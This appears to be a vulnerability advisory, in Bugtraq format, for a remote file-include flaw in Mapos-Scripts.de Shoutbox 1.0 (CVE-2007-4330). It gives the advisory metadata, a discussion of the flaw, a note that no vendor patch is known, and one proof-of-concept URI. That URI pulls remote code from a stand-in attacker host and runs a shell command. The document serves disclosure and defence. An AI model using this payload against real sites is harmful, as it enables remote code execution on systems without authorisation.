Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

BID:25254

Info

Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

Bugtraq ID: 25254
Class: Input Validation Error
CVE: CVE-2007-4330
Remote: Yes
Local: No
Published: Aug 09 2007 12:00AM
Updated: Apr 16 2015 06:11PM
Credit: Rizgar is credited with the discovery of this vulnerability.
Vulnerable: Mapos-Scripts.de Shoutbox 1.0
Not Vulnerable:

Discussion

Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

Shoutbox is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Shoutbox 1.0 is vulnerable; other versions may also be affected.

Exploit / POC

Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/shoutbox.php?root=http://www.example2.com?cmd=id

Solution / Fix

Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Mapos-Scripts.de Shoutbox Shoutbox.PHP Remote File Include Vulnerability

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